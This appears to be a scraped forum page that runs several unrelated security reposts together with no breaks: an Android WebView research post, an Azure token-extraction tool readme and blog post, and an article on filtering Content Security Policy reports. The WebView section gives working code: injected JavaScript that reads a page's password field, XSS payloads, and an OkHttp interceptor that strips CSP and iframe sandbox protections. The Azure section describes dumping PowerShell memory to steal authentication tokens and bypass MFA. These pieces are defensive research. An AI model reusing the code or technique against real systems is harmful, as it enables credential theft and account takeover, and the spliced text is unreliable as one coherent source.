mywebview.setWebChromeClient(new WebChromeClient()); mywebview.addJavascriptInterface(new AppJavaScriptProxy(this), "androidAppProxy"); mywebview.setWebViewClient(new WebViewClient(){ @Override public void onPageFinished(WebView view, String url) {...} ... Note that there is addJavascriptInterface as well. This is what many blogs (quoted in the beginning of this blog) talk about where the loaded web page can potentially be harmful to the underlying app. In our use case however, it is not of much consequence (from that perspective). All that it is used for is to show that BullyGiant could read the contents of the page loaded in the webview. It does so by sending the read content back to android (that's where the addJavascriptInterface is used) & having it displayed as a toast message. The other important bit in the BullyGiant code base is the over ridden onPageFinished() : ... super.onPageFinished(view, url); mywebview.loadUrl("javascript:var button = document.getElementsByName(\"submit\")[0];button.addEventListener(\"click\", function(){ androidAppProxy.showMessage(\"Password : \" + document.getElementById(\"password\").value); return false; },false);"); ... That's where the javascript to read the password filed from the DOM is injected into the page loaded inside the webview. The story line continued... AppAwesome came about with the below solutions to prevent the web page from being read by the underlying app: Suggestion #1: Use CSP Use CSP to prevent BullyGiant from executing any javascript whatsoever inside the page loaded in the iframe Suggestion #2: Use Iframe Sandbox Load the sensitive page inside of an iframe on the main page in the webview. Use iframe sandbox to restrict any interactions between the parent window/page & the iframe content. CSP is a mechanism to prevent execution of untrusted javascript inside a web page. While the sandbox attribute of iframe is a way to tighten the controls of the page within an iframe. It's very well explained in many resources like here. With all the above restrictions imposed, our goal now would be to see if BullyGiant can still access the AppAwesome page loaded inside the webview or not. We would go about analyzing how each of the suggested solutions work in a normal browser & in a webview & how could BullyGiant access the loaded pages if at all. Exploring CSP With Inline JS Apps used in this section: AppAwesome BullyGiant Before moving on to the demo of CSP implementation & it's effect/s on Android Webview, let's look at how a non-CSP page behaves in the normal (non-webview) browser & a webview. To demo this we have added an inline JS that would alert 1 on clicking of the submit button before proceeding to the success checkout page. AppAwesome code snippet: <!DOCTYPE HTML> ... <script type="text/javascript"> function f(){ alert(1); } </script> ... <input type="submit" value="Submit" name="submit" name="submit" onclick="f();"> ... </html> AppAwesome when accessed from the browser & when Submit button is clicked: Vanilla AppAwesome Page - Inline JS => Firefox 74.0 AppAwesome when accessed from BullyGiant app: Vanilla AppAwesome Page - Inline JS => Android Webview The above suggests that so far there is no change in how the page is treated by the 2 environments. Now let's check the change in behavior (if at all) when CSP headers are implemented. With CSP Implemented Apps used in this section: AppAwesome BullyGiant Browser A quick demo of these features on a traditional browser (not webview) suggests that these controls are indeed useful (when implemented the right way) with what they are intended for. AppAwesome when accessed from a browser: CSP AppAwesome page - Inline JS => Firefox 74.0 Notice the Content Security Policy violations. These violations happen because of the CSP response headers, returned by the backend & enforced by the browser. Response headers from AppAwesome: CSP AppAwesome page - Inline JS => Firefox 74.0 Android Webview AppAwesome when accessed from BullyGiant gives the same Authenticate Payment page as above & the exact same CSP errors too! This can be seen from the below screenshot of a remote debugging session taken from Chrome 80.0: (Firefox was not chosen for remote debugging because I was lazy to set up remote debugging on Firefox. Firefox set up on the AVD was required too as per this from the FF settings page. Also further down for all the demos we use adb logs instead of remote debugging sessions to show browser console messages) On Google Chrome 80.0 Hence, we see that CSP does prevent execution of inline JS inside android webview, very much like a normal browser does. Exploring CSP With Injected JS Apps used in this section: AppAwesome AppAwesome (with XSS-Auditor disabled) BullyGiant (without XSS payload) BullyGiant (with XSS payload) AppAwesome has been made deliberately vulnerable to a reflected XSS by adding a query parameter, name, to the home page. This param is vulnerable to reflected XSS. Also, all inline JS has been removed from this page to further emphasize on CSP's impact on injected JS. AppAwesome when accessed from the browser while the name query parameter's value is John Doe: On Google Chrome 80.0 Now, for the sake of the demo, we would exploit the XSS vulnerable name query param to add an onclick event to the Submit button such that clicking it would alert "injected 1" XSS exploit payload <body onload="f()"><script type="text/javascript">function f(){var button=document.getElementsByName("submit")[0];button.addEventListener("click", function(){ alert("injected 1"); return false; },false);}</script> AppAwesome when accessed from the browser & exploited with the above payload (in name query parameter): Vanilla AppAwesome Page - Exploited XSS => Firefox AppAwesome when accessed from BullyGiant, without exploiting the XSS: Vanilla AppAwesome Page - Vulnerable param => Android Webview AppAwesome when accessed from BullyGiant, while attempting to exploit the XSS, produces the same screen as above, however, contrary to the script injection that was successful in case of a normal browser, this time clicking on the Submit button didn't really execute the payload at all. We were instead taken directly to the checkout page. Adb logs however did produce an interesting message as shown below: Vanilla AppAwesome Page - Exploited XSS => Android Webview The adb log messages is: 03-27 12:29:33.672 26427-26427/com.example.webviewinjection I/chromium: [INFO:CONSOLE(9)] "The XSS Auditor refused to execute a script in 'http://192.168.1.35:31337/home?name=<body onload="f()"><script type="text/javascript">function f(){var button=document.getElementsByName("submit")[0];button.addEventListener("click", function(){ alert("injected 1"); return false; },false);}%3C/script%3E' because its source code was found within the request. The auditor was enabled as the server sent neither an 'X-XSS-Protection' nor 'Content-Security-Policy' header.", source: http://192.168.1.35:31337/home?name=<body onload="f()"><script type="text/javascript">function f(){var button=document.getElementsByName("submit")[0];button.addEventListener("click", function(){ alert("injected 1"); return false; },false);}%3C/script%3E (9) So without even any explicit protection mechanism/s (like CSP or iframe sandbox), android webview seems to have a default protection mechanism called XSS Auditor. This however has nothing to do with our use case. Moreover, it hinders with our demo as well. Hence, for now, for the sake of this demo, we would make AppAwesome return X-XSS-Protection HTTP header, as below, to take care of this issue. X-XSS-Protection: 0 Note: As an auxiliary, XSS Auditor would also be accounted for a bypass towards the end of the blog AppAwesome when accessed now from BullyGiant, while attempting to exploit the XSS: Vanilla AppAwesome Page - Exploited XSS => Android Webview Thus we see that the XSS payload works equally well even in the Android Webview (of course with the XSS Auditor intentionally disabled). Note: If the victim is the page getting loaded inside webview, it makes absolute sense that it's backend would never ever return any HTTP headers, like the above, that possibly weakens the security of the page itself. We will see why this is irrelevant further down. The other thing to note is that there was a subtle difference between how the payloads were injected in the vulnerable parameter in both the cases, the browser & the webview. And it is important to take note of it because it highlights the very premise of this blog post. In case of the browser, the attacker is an external party, who could send the JS payload to be able to exploit the vulnerable name parameter. Whereas in case of the android webview, the underlying app itself is the malicious actor & hence it is injecting the JS payload in the vulnerable name parameter before loading the page in it's own webview. This difference would be more prominent when we analyze further cases & how the malicious app leverages it's capabilities to exploit the page loaded in the webview. With CSP Implemented Apps used in this section: AppAwesome BullyGiant (with XSS payload) BullyGiant (with CSP bypass) BullyGiant (with CSP bypass reading the password field) Browser With the appropriate CSP headers in place, inline JS does not work in browsers as we saw above. What would happen if javascript is injected in the page that has CSP headers? Would it still have CSP violation errors? AppAwesome, with vulnerable name parameter & XSS-Auditor disabled, when accessed in the browser & the name query param exploited with the same XSS payload (as earlier): CSP AppAwesome Page - Exploited XSS => Firefox The console error messages are the same as with inline JS. Injected JS does not get executed as the CSP policy prevents it. Would the same XSS payload work when the above CSP page is loaded inside Android Webview? AppAwesome when accessed from BullyGiant app that injects the JS payload in the vulnerable name parameter before loading the page in the android webview: CSP AppAwesome Page - Exploited XSS => Android Webview The same adb log is produced confirming that CSP works well in case of even injected javascript payload inside a webview. Note: In the CSP related examples above (browser or webview) note that CSP kicks in before the page actually gets loaded. With the above note, some interrelated questions that arise are: What would happen if BullyGiant wanted to access the contents of the page after it get successfully loaded? Could it add javascript to the already loaded page, as if this were being done locally? Would CSP still interfere? Since the webview is under the total control of the underlying app, in our case BullyGiant, & since there are android APIs available to control the lifecycle of pages loaded inside the webview, BullyGiant could pretty much do whatever it wants with the loaded page's contents. So instead of injecting the javascript payload in the vulnerable parameter, as in the above example, BullyGiant may choose to instead inject it directly in the page itself after the page is loaded, without having the need to actually exploit the vulnerable name parameter at all. AppAwesome when accessed from BullyGiant that implements the above trick to achieve JS execution despite CSP: CSP AppAwesome Page - Exploited XSS => Android Webview The logs still show the below message: 03-28 17:29:28.372 13282-13282/com.example.webviewinjection D/WebView Console Error:: Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self' http://192.168.1.35:31337". Either the 'unsafe-inline' keyword, a hash ('sha256-JkQD9ejf-ohUEh1Jr6C22l1s4TUkBIPWNmho0FNLGr0='), or a nonce ('nonce-...') is required to enable inline execution. 03-28 17:29:28.396 13282-13282/com.example.webviewinjection D/WebView Console Error:: Refused to execute inline event handler because it violates the following Content Security Policy directive: "script-src 'self' http://192.168.1.35:31337". Either the 'unsafe-inline' keyword, a hash ('sha256-...'), or a nonce ('nonce-...') is required to enable inline execution. BullyApp still injected XSS payload in the vulnerable name parameter (we left it there to ensure that CSP was still in action). The above logs are a result & proof of that. Code snippet from BullyGiant that does the trick: ... mywebview.setWebViewClient(new WebViewClient(){ @Override public void onPageFinished(WebView view, String url) { super.onPageFinished(view, url); mywebview.loadUrl( "javascript:var button = document.getElementsByName(\"submit\")[0];button.addEventListener(\"click\", function(){ alert(\"injected 1\"); },false);" ); } }); ... The above PoC shows execution of simple JS payload that just pops up an alert box. Any other more complex JS could be executed as well, like reading the contents of the password field on the page using the below payload var secret = document.getElementById("password").value; alert(secret); AppAwesome when accessed from BullyGiant that attempts to read the password field using the above payload: CSP AppAwesome Page - Exploited XSS => Android Webview So the questions above get answered. Also, it is indicative of an even more interesting question now: Since BullyApp is in total control of the webview & thus the page loaded within it, would it also be able to modify the whole HTTP response itself ? We will tackle the above question with yet another example. In fact, this time we would talk about the second suggestion around iframe sandbox and see if the answer to the above question could be demoed with that. Also, we had left out the whole X-XSS-Protection header thing for later. That part will also get covered with the following experiments. Iframe sandbox attribute Apps used in this section: AppAwesome Backend (without CSP & with iframe sandbox) AppAwesome Backend (without CSP & with iframe sandbox relaxed) BullyGiant AppAwesome, that has no CSP headers, that has X-XSS-Protection relaxed & has the below sandbox attributes sandbox="allow-scripts allow-top-navigation allow-forms allow-popups" when loaded in the browser: AppAwesome Page - Iframe Sandbox => Browser The child page has the form which when submitted displays the password on the checkout page inside the iframe as: AppAwesome Page - Iframe Sandbox => Browser The Access button tries to read the password displayed inside iframe by reading the DOM of the page loaded in the iframe using the below JS ... <script type="text/javascript"> function accessIframe() { document.getElementById('myIframe').style.background = "green" alert(document.getElementById('myIframe').contentDocument.getElementById('data').innerText); } </script> ... Note that even in the absence of CSP headers clicking the Access button gives: AppAwesome Page - Iframe Sandbox => Browser The console message is: TypeError: document.getElementById(...).contentDocument is null This happens because of the iframe's sandbox attribute. The iframe sandbox can relaxed by using: <iframe src="http://192.168.1.34:31337/child?secret=iframeData" frameborder="10" id="myIframe" sandbox="allow-same-origin allow-top-navigation allow-forms allow-popups"> AppAwesome, with relaxed iframe sandbox attribute, allows the JS in the parent page to access the iframe's DOM, thus producing the alert box as expected, with the mysecret value: AppAwesome Page - Iframe Sandbox => Browser Also, just a side note, using the below would have also relaxed the sandbox to the exact same effect as has also been mentioned here: <iframe src="http://192.168.1.34:31337/child?secret=iframeData" frameborder="10" id="myIframe" sandbox="allow-scripts allow-same-origin allow-top-navigation allow-forms allow-popups"> Repeating the same experiment on android webview again produces the exact same results. AppAwesome, with relaxed iframe sandbox attribute when accessed from BullyGiant AppAwesome Page - Iframe Sandbox Relaxed=> Android Webview AppAwesome, that has no CSP headers, that has X-XSS-Protection relaxed & has the below sandbox attributes sandbox="allow-scripts allow-top-navigation allow-forms allow-popups" when accessed from BullyGiant: AppAwesome Page - Iframe Sandbox => Android Webview The error message in the console is: 03-29 15:18:38.292 11081-11081/com.example.webviewinjection D/WebView Console Error:: Uncaught SecurityError: Failed to read the 'contentDocument' property from 'HTMLIFrameElement': Sandbox access violation: Blocked a frame at "http://192.168.1.34:31337" from accessing a frame at "http://192.168.1.34:31337". The frame being accessed is sandboxed and lacks the "allow-same-origin" flag. Now if BullyGiant were to bypass the above restriction, like it did in the case of CSP bypass, it could again take the same route of injecting some javascript inside the iframe itself after the checkout page is loaded. Note: I haven't personally tried this approach, but conceptually it should work. Too lazy to do that right now ! But instead of doing that what if BullyApp were to take an even simpler approach to bypassing everything once & for all? Since the webview is under the total control fo BullyGiant could it not intercept the response before rendering it on the webview and remove all the trouble making headers altogether? Manipulation of the HTTP response Apps used in this section: AppAwesome Backend (with all protection mechanisms in place) BullyGiant (that bypasses all the above mechanisms) BullyGiant app with a toast Let's make this case the most secure out of all the previous ones. So this time the AppAwesome implements all secure mechanisms on the page. Below is a list of such changes: It uses CSP => so that no unwanted JS (inline or injected) could be executed. It uses strict iframe sandbox attributes => so that the parent page can not access the contents of the iframe despite them being from the same domain. It does not set the X-XSS-Protection: 0 header => this was an assumption we had made above for the sake of our demos. In the real world, an app that wishes to avoid an XSS scenario would deploy every possible/feasible mechanism to prevent it from happening. So AppAwesome now does not return this header at all. It does not have the Access button on the DOM with the inline JS => again something that we had used in few of our (most recent) previous examples for the sake of our demo. In the real world, in the context of our story, it would not make sense for AppAwesome to leave an Access button with the supporting inline JS to access the iframe. AppAwesome when accessed from the browser: AppAwesome Page - FullBlown => Browser Notice that all the security measures mentioned in the pointers above are implemented. CSP headers are in place, there's no Access button or the supporting inline JS, no X-XSS-Protection header & the strict iframe sandbox attribute is present as well. BullyGiant handles all of the above trouble makers by handling everything before any response is rendered onto the webview at all, AppAwesome 0 BullyGiant 1 ! AppAwesome when accessed from BullyGiant: AppAwesome Page - FullBlown => Android Webview Notice that the X-XSS-Protection: 0 header has been added ! The CSP header is no longer present ! And there's (the old familiar) brand new Access button on the page as well. Clicking the Access button after the form inside the iframe is loaded gives: AppAwesome Page - FullBlown => Android Webview Code snippet from BullyGiant that does all the above trick: ... class ChangeResponse implements Interceptor { @Override public Response intercept(Interceptor.Chain chain) throws IOException { Response originalResponse = chain.proceed(chain.request()); String responseString = originalResponse.body().string(); Document doc = Jsoup.parse(responseString); doc.getElementById("myIframe").removeAttr("sandbox"); MediaType contentType = originalResponse.body().contentType(); ResponseBody body = ResponseBody.create(doc.toString(), contentType); return originalResponse.newBuilder() .body(body) .removeHeader("Content-Security-Policy") .header("X-XSS-Protection", "0") .build(); } }; ... ... private WebResourceResponse handleRequestViaOkHttp(@NonNull String url) { try { final OkHttpClient client = new OkHttpClient.Builder() .addInterceptor(new LoggingInterceptor()) .addInterceptor(new ChangeResponse()) .build(); final Call call = client.newCall(new Request.Builder() .url(url) .build() ); final Response response = call.execute(); return new WebResourceResponse("text/html", "utf-8", response.body().byteStream() ); } catch (Exception e) { return null; // return response for bad request } } ... ... mywebview.setWebViewClient(new WebViewClient(){ @SuppressWarnings("deprecation") // From API 21 we should use another overload @Override public WebResourceResponse shouldInterceptRequest(@NonNull WebView view, @NonNull String url) { return handleRequestViaOkHttp(url); } ... What the above does is intercept the HTTP request that the webview would make & pass it over to OkHttp, which then handles all the HTTP requests & response from that point on, before finally returning back the modified HTTP response back to the webview. Ending note: Before we end, a final touch. BullyGiant was able to access the whole of the page loaded inside webview. This was demoed using JS alerts on the page itself. The content read from the webview could actually also be displayed as native toast messages, to make it more convincing for the business leaders (or anyone else), accentuating that the sensitive details from AppAwesome are actually leaked over to BullyGiant. AppAwesome when accessed from BullyGiant: AppAwesome Page - FullBlown => Android Webview - Raising a toast! Conclusion Theoretically since the webview is under total control of the underlying android app, it is wise to not share any sensitive data on the page getting loaded inside the webview. Collected on the way git worktrees what are git tags & how to maintain different versions using tags creating git tags checking out git tags pushing git tags tags can be viewed simply with git tag git tags can not be committed to => For any changes to a tag, commit the changes on the or a new branch and then make a tag out of it. Delete the olde tag after that if you want deleting a branch local & remote rename a branch local & remote adding chrome console messages to adb logs chrome's remote debugging feature Sursa: http://www.nuckingfoob.me/android-webview-csp-iframe-sandbox-bypass/index.html
-
- 1
-
-
AzureTokenExtractor Extracts Azure authentication tokens from PowerShell process minidumps. More information on Azure authentication tokens and the process for using this tool, check out the corresponding blog post at https://www.lares.com/blog/hunting-azure-admins-for-vertical-escalation-part-2/. Usage USAGE: python3 azure-token-extractory.py [OPTIONS] OPTIONS: -d, --dump Target minidump file -o, --outfile File to save extracted Azure context Sursa: https://github.com/LaresLLC/AzureTokenExtractor
-
Hunting Azure Admins for Vertical Escalation: Part 2 RJ McDown April 2, 2020 No Comments This post is part 2 in the Hunting Azure Admins for Vertical Escalation series. Part 1 of this series detailed the usage and functionality of Azure authentication tokens, file locations that cache the tokens during a user session (“%USERPROFILE%\.Azure\TokenCache.dat”), methods for locating user exported Azure context files containing tokens, and leveraging them to bypass password authentication, as well as, multi-factor authentication. This blog post will focus on methodology to extract Azure authentication tokens when the end-user is disconnected and hasn’t exported an Azure context file. Disconnected Azure PowerShell Sessions When a user connects to Azure from PowerShell, a TokenCache.dat file is created and populated with the user’s Azure authentication token. This is detailed at great lengths in Part 1. However, if the user disconnected their Azure session, the TokenCache.dat file is stripped of the token. So, obtaining an Azure cached token from the TokenCache.dat file requires an active logged-in session. So, what can be done in a scenario where the Azure PowerShell session is disconnected, and the user hasn’t saved an Azure context file to disk? PowerShell Process Memory Thinking about traditional Windows credential theft and lateral movement brought to mind the LSASS.exe process and Mimikatz. In short, Windows has historically stored hashed and cleartext account credentials in the LSASS.exe process memory space and penetration testers have leveraged tools like Mimikatz to extract those credentials. This has gone on for years and has forced Microsoft into developing new security controls around the storage and access of credentials in Windows. On newer Windows systems, you will likely only extract hashed credentials from accounts that are actively logged onto the machine, as Windows has improved its scrubbing of credentials from memory after a user disconnects. This leads to the PowerShell process and identifying information it maintains in memory. Let’s start by dumping the PowerShell process memory to disk in minidump format. Although we used a custom tool, SnappyKatz, to dump the PowerShell process memory other publicly available tools exist that can do this, such as, ProcDump from the Sysinternals Suite. We can then leverage our favorite hex editor to explore the contents of the dump. Referring back to the contents inside the TokenCache.dat file, we can quickly search for keywords to locate the Azure context Json in the dump. This is great, but the required CacheData field that would contain the base64 encoded cached token was empty. At first, it was thought the field was empty because the session had been disconnected and due diligence had been done on the part of Microsoft to remove sensitive information from memory. In true Microsoft fashion, the missing cached token data was identified, in full, at a different offset in the dump. We had now located the two pieces of information needed to reconstruct an Azure context file. To create the context file, we saved the JSON context data found at the first location to a file and populated the CacheData field with the base64 encoded token cache located at the second location. Automating Extraction In order to save a tremendous amount of time on engagements, we created a tool in Python that automates the extraction of required data and properly exports it to a usable Azure context JSON file. This tool produces the following Azure context JSON output: The last step is to import the extracted Azure context file and see if we are able to access Azure. As we can see, Azure access has been obtained, leveraging disconnected session tokens extracted from PowerShell process memory. To make it easy to replicate our findings, we’ve published the AzureTokenExtractor tool to extract Azure authentication tokens from PowerShell process minidumps. We hope you have enjoyed this blog post. Keep checking back as we add more research, tool, and technique-related posts in the future! Sursa: https://www.lares.com/blog/hunting-azure-admins-for-vertical-escalation-part-2
-
iPhone Camera Hack I discovered a vulnerability in Safari that allowed unauthorized websites to access your camera on iOS and macOS Imagine you are on a popular website when all of a sudden an ad banner hijacks your camera and microphone to spy on you. That is exactly what this vulnerability would have allowed. This vulnerability allowed malicious websites to masquerade as trusted websites when viewed on Desktop Safari (like on Mac computers) or Mobile Safari (like on iPhones or iPads). Hackers could then use their fraudulent identity to invade users' privacy. This worked because Apple lets users permanently save their security settings on a per-website basis. If the malicious website wanted camera access, all it had to do was masquerade as a trusted video-conferencing website such as Skype or Zoom. Is an ad banner watching you? I posted the technical details of how I found this bug in a lengthy walkthrough here. My research uncovered seven zero-day vulnerabilities in Safari (CVE-2020-3852, CVE-2020-3864, CVE-2020-3865, CVE-2020-3885, CVE-2020-3887, CVE-2020-9784, & CVE-2020-9787), three of which were used in the kill chain to access the camera. Put simply - the bug tricked Apple into thinking a malicious website was actually a trusted one. It did this by exploiting a series of flaws in how Safari was parsing URIs, managing web origins, and initializing secure contexts. If a malicious website strung these issues together, it could use JavaScript to directly access the victim's webcam without asking for permission. Any JavaScript code with the ability to create a popup (such as a standalone website, embedded ad banner, or browser extension) could launch this attack. I reported this bug to Apple in accordance with the Security Bounty Program rules and used BugPoC to give them a live demo. Apple considered this exploit to fall into the "Network Attack without User Interaction: Zero-Click Unauthorized Access to Sensitive Data" category and awarded me $75,000. The below screen recording shows what this attack would look like if clicked from Twitter. * victim in screen recording has previously trusted skype.com Sursa: https://www.ryanpickren.com/webcam-hacking-overview
-
Filtering the Crap, Content Security Policy (CSP) Reports 13 days ago Stuart Larsen #article It's pretty well accepted that if you collect Content Security Policy (CSP) violation reports, you're going to have to filter through a lot of confusing and unactionable reports. But it's not as bad as it used to be. Things are way better than they were six years ago when I first started down the CSP path with Caspr. Browsers and other User Agents are way more thoughtful on what and when they report. And new additions to CSP such as "script-sample" have made filtering reports pretty manageable. This article will give a quick background, and then cover some techniques that can be used to filter Content Security Policy reports. What is a Content Security Policy report? Why filter Content Security Policy reports? Filtering Techniques Blacklists Malformed Reports Bots Script-Sample Browser Age line-number / column-number analysis SourceFile / DocumentURI Other Ideas Similar Reports From Newer Browser Versions 'Crowd Sourced' Labeling Conclusion What is a Content Security Policy report? If you're new to Content Security Policy, I'd recommend checking out An Introduction To Content Security Policy first. Content Security Policy has a nifty feature called report-uri. When report-uri is enabled the browser will send a JSON blob whenever the browser detects a violation from the CSP. (For more info: An Introduction to report-uri). That JSON blob is the report. Here's a random violation report from my personal website https://c0nrad.io: { Report: Violation report from c0nrad.io on an inline style The report has a number of tasty details: blocked-uri: inline. The blocked-uri was an 'inline' resource violated-directive: style-src-elem. The violated directive was a CSS style element (it means <style> block as opposed to "style=" attr (attribute) on an HTML element) source-file / line-number: https://c0nrad.io/ / 8. The inline resource came from file https://c0nrad.io on line 8. If you view-source of https://c0nrad.io, it's still there script-sample: .something { width: 100%} 'The first 40 characters are .something { width :100%}. These reports are a miracle when getting started with CSP. You can use them to quickly determine where your policy is lacking. You can even use it to build new policies from scratch. It's actually how tools like CSP Generator automatically build new content security policies. Just by parsing these reports. Why filter Content Security Policy reports? If the violation reports are so amazing, why do we want to filter them? It seems a little counter intuitive at first, but the sad reality is that not all reports are created equal. Here's some of the inline reports that Csper's has received on it's own policy. Only three of them are from a real inline script in Csper (which I purposely injected): Figure: Sample violation reports generated by Content Security Policy For more fun, I highly recommend checking out this amazing list of fun CSP reports: csp-wtf What's frustrating is that a large percentage of reports received from CSP are unactionable. They're not really related to the website. These "unactionable" can come from a lot of different places. The most common is extensions and addons. There's also ads, content injected from ISPs, malware, corporate proxies, custom user scripts, browser quirks, and a sprinkle of serious "wtf" reports. Filtering Techniques The goal of filtering is to remove the unactionable reports, so that you're only left with reports that should be looked into. But of course you don't want to filter too much such that you lose reports that really should of been analyzed (such as an XSS on your website). They are somewhat listed in order of importance+ease+reliability. Blacklists The easiest way to filter out a huge number of reports by applying some simple blacklisting rules. I think everyone either directly or indirectly has taken a page from Neil Matatall's/Twitter's book back in 2014: https://matatall.com/csp/twitter/2014/07/25/twitters-csp-report-collector-design.html Some more lists: https://dropbox.tech/security/on-csp-reporting-and-filtering https://github.com/getsentry/sentry/blob/master/src/sentry/interfaces/security.py#L20 https://github.com/jacobbednarz/go-csp-collector/blob/b3a8ff39e3835b3b9452898beb20677cee680dd0/csp_collector.go#L59 Depending on your use-case, it maybe be better to classify them, and then selectively filter out those classifications later (just incase you actually need the reports). Some buckets I found to work well are 'extension', 'unactionable'. But this technique alone cuts out ~50% of the weird reports. Malformed Reports Another easy way to filter reports is to make sure they have all the necessary fields (and that fields like effective-directive are actually a real directive). If it's missing some fields it's probably not worth time investigating. It's probably a very old or incomplete user agent. All the fields can be found in the CPS3 spec. { You could argue that maybe the users being XSS'ed are on a very old browser that doesn't correctly report on all fields, and so if you filter them out you're going to miss the XSS that needs to be patched. Which is definitely fair. But with browser auto-updating I think/hope most people are on a decently recent browser. And also (this should not be a full excuse not to care), but people on very outdated browsers probably have a large number of other browser problems to worry about. And also if multiple users are being XSS's, the majority of them are probably on a competent user agent that will report all the fields, so it will be picked up. It comes down to how much time/resources an organization has to dedicate to CSP. Something is better than nothing. And this case, this something can save you hours, for a pretty small chance of something falling through the cracks. I recommend adding a label to reports that are missing important fields (or using egregious values) to be categorized as 'malformed', and just kept to the side so they can be skimmed every once in awhile. Bots Another easy way to filter out 'unactionable' reports is to check if the User Agents belongs to a Bot. A number of web scrapers inject javascript into the pages they are analyzing. (The bots also have CSP enabled). Which seams silly at first, but they're probably just using headless chrome or something. Some example user agents: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; BuiltWith/1.0; +http://builtwith.com/biup) Chrome/60.0.3112.50 Safari/537.36 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/61.0.3163.59 Safari/537.36 Prerender (+https://github.com/prerender/prerender) Mozilla/5.0 (compatible; woorankreview/2.0; +https://www.woorank.com/) Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/) Since these UserAgents inject their own javascript not related to the website, it's not worth the time investigating them. Script-Sample If report-sample is enabled (which I highly recommend it be enabled), you can start filtering out reports on the first 40 characters in the script-sample field. A good starting point is the csp-wtf list. A quick note of caution though for websites running in 'Content-Security-Policy-Report-Only'. If you automatically filter out anything that matches these script-samples, an attacker could attempt to use an XSS that starts with one of those strings to avoid detection. If it's a DOM based XSS it'll be very hard to determine what is an injection vs what is a DOM based XSS (more on that later). Browser Age One filtering technique that Csper started supporting this week is filtering on Browser Age. Older browsers (and less common browsers) have some fun CSP quirks (and sadly probably more malware, toolbars, etc, which all cause unactionable reports), so if you're short on resources, they reports should probably be looked at less. So when a report is received, you take the User Agent + Version, look up the release date of that User Agent, and if it's older than some time period (2 years) label it as an older user agent. This cuts out like 15% of the reports. The same argument still holds of "what if the XSS victim is using an old browser". Again I think that it is up to the website's security maturity and available resources to determine what an appropriate level of effort is. But for the average website, giving less attention to the >2yrs old browsers but giving more attention to the rest of the reports, instead of being over flooded by reports and doing nothing, is infinitely better. The reports are still there for those who want to look at them. line-number / column-number analysis Modern browsers make a good attempt to add Line-Number/Column-Number to the violation reports. (The PR for chrome). So when there's a resource that doesn't have a line-number/column-number, it's a good cause for an eyebrow raise. A lot of reports also use "1' or "0" as the line number. These can also be a great signal for something odd. I found that usually a line number of 0/1 signifies that the resources was "injected" after the fact. (As in it was not part of the original HTML). This could be things like SPAS (angular/react) injecting resources, or browsers injecting content scripts, or a DOM based XSS. Unfortunately (at least for modern chrome), I couldn't find a way to determine the difference between a DOM based XSS, and something injected by a browser script. For example here's a report of a DOM based XSS I injected myself through an angular innerHTML. It looks pretty much the same as a lot of extension injections with a line-number of 1: { But it is still interesting when a report has a line-number of 1. So inline reports can either be split into categories of "inline" or "injected". The injected will contain most of the browser stuff, but could also contain DOM based XSS's, so still needs to be looked at. I hope in the future that source-file will better accurately reflect where the javascript came from, and we can filter out all extension stuff with great ease. SourceFile / DocumentURI In a somewhat related vein, stored or reflected XSS's should have a matching sourcefile/documenturi (obviously not the case for DOM or more exotic XSS's). In some of the odd reports the source file will be from something external (such as a script from Google Translate). If you're specifically looking to detect a stored/reflected XSS, a mismatch can be a nice indication that maybe the report isn't as useful. Somewhat related, Firefox also doesn't include sourcefile on eval's from extensions, which can help reduce eval noise. (They can be placed in the extension bucket). Other Ideas Similar Reports From Newer Browser Versions Browsers are getting way better at fully specifying what content came from an extension. For example below it's pretty obvious that this report is from an extension (thanks to the source-file starting with moz-extension). This report came from a Useragent with Firefox/Windows/Desktop released 22 days ago. { The next report most likely came from the same extension, but from the report it's not obvious where the report came from. This UserAgent is Firefox/Windows/Desktop but released 9 months ago. { "csp-report": { "blocked-uri": "inline", "column-number": 1, "document-uri": "https://csper.io/blog/other-csp-security", "line-number": 1, "original-policy": "default-src 'self'; connect-src 'self' https://*.hotjar.com https://*.hotjar.io https://api.hubspot.com https://forms.hubspot.com https://rs.fullstory.com https://stats.g.doubleclick.net https://www.google-analytics.com wss://*.hotjar.com; font-src 'self' data: https://script.hotjar.com; frame-src 'self' https://app.hubspot.com https://js.stripe.com https://vars.hotjar.com https://www.youtube.com; img-src 'self' data: https:; object-src 'none'; script-src 'report-sample' 'self' http://js.hs-analytics.net/analytics/ https://edge.fullstory.com/s/fs.js https://js.hs-analytics.net/analytics/ https://js.hs-scripts.com/ https://js.hscollectedforms.net/collectedforms.js https://js.stripe.com/v3/ https://js.usemessages.com/conversations-embed.js https://script.hotjar.com https://static.hotjar.com https://www.google-analytics.com/analytics.js https://www.googletagmanager.com/gtag/js; style-src 'report-sample' 'self' 'unsafe-inline'; base-uri 'self'; report-uri https://csper-prod.endpoint.csper.io/", "referrer": "", "script-sample": "(() => {\n try {\n // co…", "source-file": "https://csper.io/blog/other-csp-security", "violated-directive": "script-src" } } It's not perfect, but it may be possible to group similar reports together and perform the analysis on the latest user agent. But you have to be careful that you don't aggressively group reports together to the point where an attacker could attempt to smuggle XXS's that start with (() => {\n try {\n // co to avoid detection on report-only deployments. Hopefully as everyone moves to very recent browsers we can just filter on the source-file. There was also a little chatter about adding the sha256-hash to the report, that would also make this infinitely more feasible (but, people would need to be on more recent versions of their browsers to send the new sha256, and by that point we'll already have the moz-extension indicator in the source-file). 'Crowd Sourced' Labeling Another idea that I've been mulling over is 'Crowd Sourced' labeling. What if people could mark reports as "unactionable" (somewhat like the csp-wtf list)? Or "this report doesn't apply to my project". These reports be aggregated and then displayed to other users of a report-uri endpoint as "other users have marked this report as unactionable". For people just getting started with CSP this could be nice validation to ignore a report. Or specifically if there's XSS's with a known payload, people could mark as "this was a real XSS", and other people get that indication when there's a similar report in their project. Due to my privacy/abuse concerns this idea has been kicked down the road. It would need to be rock solid. As of right now (for csper) there is no way for a customer to glean information about another customer, and obviously this is how things should be. But maybe in the future there could be an opt-in anonymized feature flag for this. But not for many months at least. If this is interesting to you (because it's a good idea, or a terrible idea, I'd love to hear your thoughts!) stuart@csper.io. Conclusion A dream I have is that one day most everyone could actually use Content-Security-Policy-Report-Only and get value with almost no work. If individuals are using the latest user agents, and if an endpoint's classification is good enough, websites could roll out CSP in report-only mode for a few weeks to establish a baseline of known inline reports and their positions, and then the endpoint will know where expected inline resources exist, and then only alert website owners on new reports it 